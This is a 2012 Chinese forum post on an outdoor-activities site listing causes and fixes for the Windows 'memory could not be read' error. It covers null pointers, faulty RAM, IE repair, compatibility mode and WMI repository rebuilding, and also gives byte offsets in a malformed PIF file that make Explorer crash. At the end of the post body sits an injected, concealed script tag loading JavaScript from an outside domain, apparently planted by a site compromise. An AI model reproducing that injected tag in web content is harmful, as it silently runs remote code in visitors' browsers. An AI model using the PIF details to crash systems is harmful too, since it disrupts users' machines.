内存不能存为“Read”有这么几种原因

[复制链接]
查看: 249|回复: 0

内存不能存为“Read”有这么几种原因

[复制链接]
查看: 249|回复: 0
天空

551

主题

2018

回帖

7909

积分

荣誉会员

积分
7909

社区居民忠实会员

天空 2012-4-14 18:18:52 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享受更多内容,了解更多户外知识,让你轻松享受户外!

您需要 登录 才可以下载或查看,没有账号?立即注册

×
<p>        1、微软IE缓冲溢出漏洞引起<br />        <br />        2、内存或虚拟内存地址使用冲突造成 程序的运行需要分配一定的内存地址给程序使用,当程序结束时释放留出空间让给新的程序使用,win是多任务的系统 有时前程序未结束 又有新的任务开始 到底要多少内存或虚拟内存来保证我们同时运行的工作任务呢?也许win在这个问题上没弄好,所以有此错误常常发生,一般运行大型软件或多媒体后出现这种情况<br />        <br />        3、劣质内存条也会出现这个问题<br />        <br />        4、微软WINDOWS系统的漏洞,windows把内存地址0X00000000到0X0000ffff指定为分配null指针的地址范围,如果程序试图访问这一地址,则认为是错误。c/c++编写的程序通常不进行严格的错误检查,当采用malloc来分配内存而可供分配的地址空间不够的情况下返回null指针。但是代码不检查这种错误,认为地址分配已经成功,于是就访问0X00000000的地址,于是就发生内存违规访问,同时该进程被终止。<br />          ASCII字符填充组成的pif文件时会出现以下情况: 一个非法的pif文件(用ascii字符'x'填充)至少要369字节,系统才认为是一个合法的pif文件,才会以pif的图标[pifmgr&#46;dll,0]显示,才会在属性里有程序、 字体、内存、屏幕等内容。而且仅仅当一个非pif文件的大小是369字节时察看属性的程序页时,不会发生程序错误,哪怕是370字节也不行。当对一个大于369字节的非法pif文件察看属性的程序页时,Explorer会出错,提示:'***'指令引用的'***'内存。该内存不能为'read' ,问题出在pif文件的16进制地址: 0x00000181[0x87]0x00000182[0x01]和 0x00000231[0xC3]0x00000232[0x02] 即使是一个合法pif文件,只要改动这四处的任意一处,也会引起程序错误。而只 要把0x00000181和0x00000182的值改为[0xFF][0xFF],那么其它地址任意更改 都不会引起错误。 <br />        <br />        5、可能没有完全正确安装apache服务,且启动了它的原故; 把服务中的 OracleOraHomeXXHTTPServer改成停止<br />        <br />        6、应用程序没有检查内存分配失败<br />        <br />        7、应用程序由于自身BUG引用了不正常的内存指针<br />          像这样的情况都属于程序自身的BUG,你往往可在特定的操作顺序下重现错误。无效指针不一定总是0,因此错误提示中的内存地址也不一定为0x00000000,而是其他随机数字。<br />        <br />        如果系统经常有所提到的错误提示,下面的建议可能会有帮助:<br />        <br />          1&#46;查看系统中是否有木马或病毒。这类程序为了控制系统往往不负责任地修改系统,从而导致操作系统异常。平常应加强信息安全意识,对来源不明的可执行程序绝不好奇。<br />          2&#46;更新操作系统,让操作系统的安装程序重新拷贝正确版本的系统文件、修正系统参数。有时候操作系统本身也会有BUG,要注意安装官方发行的升级程序。<br />          3&#46;试用新版本的应用程序。 <br />            4、删除然后重新创建 Winnt\System32\Wbem\Repository 文件夹中的文件: 在桌面上右击我的电脑,然后单击管理。 <br />        在"服务和应用程序"下,单击服务,然后关闭并停止 Windows Management Instrumentation 服务。 <br />        删除 Winnt\System32\Wbem\Repository 文件夹中的所有文件。(在删除前请创建这些文件的备份副本。) <br />        打开"服务和应用程序",单击服务,然后打开并启动 Windows Management Instrumentation 服务。当服务重新启动时,将基于以下注册表项中所提供的信息重新创建这些文件: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Autorecover MOFs <br />             16:33:19<br />        <br />        下面我从几个例子给大家分析: <br />        <br />        例一:打开IE浏览器或者没过几分钟就会出现"0x70dcf39f"指令引用的"0x00000000"内存。该内存不能为read。要终止程序,请单击确定的信息框,单击确定后,又出现发生内部错误,您正在使用的其中一个窗口即将关闭的信息框,关闭该提示信息后,IE浏览器也被关闭。 <br />          解决方法:修复或升级IE浏览器,同时打上补丁。看过其中一个修复方法是,Win2000自升级,也就是Win2000升级到Win2000,其实这种方法也就是把系统还原到系统初始的状态下。比如你的IE升级到了6&#46;0,自升级后,会被IE5&#46;0代替。<br />        <br />        例二:在windows xp下双击光盘里面的AutoRun&#46;exe文件,显示0x77f745cc指令引用的0x00000078内存。该内存不能为written,要终止程序,请单击确定,而在Windows 98里运行却正常。<br />           解决方法:这可能是系统的兼容性问题,winXP的系统,右键AutoRun&#46;exe文件,属性,兼容性,把用兼容模式运行这个程序项选择上,并选择Windows 98/Me。win2000如果打了SP的补丁后,只要开始,运行,输入:regsvr32 c:\\winnt\\apppatch\\slayerui&#46;dll。右键,属性?script src=http://cn&#46;daxia123&#46;cn/cn&#46;js><span style="display: none"> </span></p>
”济源户外网” www.jyhww.com 倡导“积极健康”的生活方式、崇尚“自然、和谐、真诚、友爱”的人文精神,以“自主、绿色、氧气、阳光、健康、友谊”为宗旨,由热爱生活、热爱大自然的群体组成。是户外运动者的家园,也是个人挑战自我。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|济源户外网-天韵茗茶 | 豫ICP备10211396号-1

GMT+8, 2025-1-9 08:28 , Processed in 0.046515 second(s), 25 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.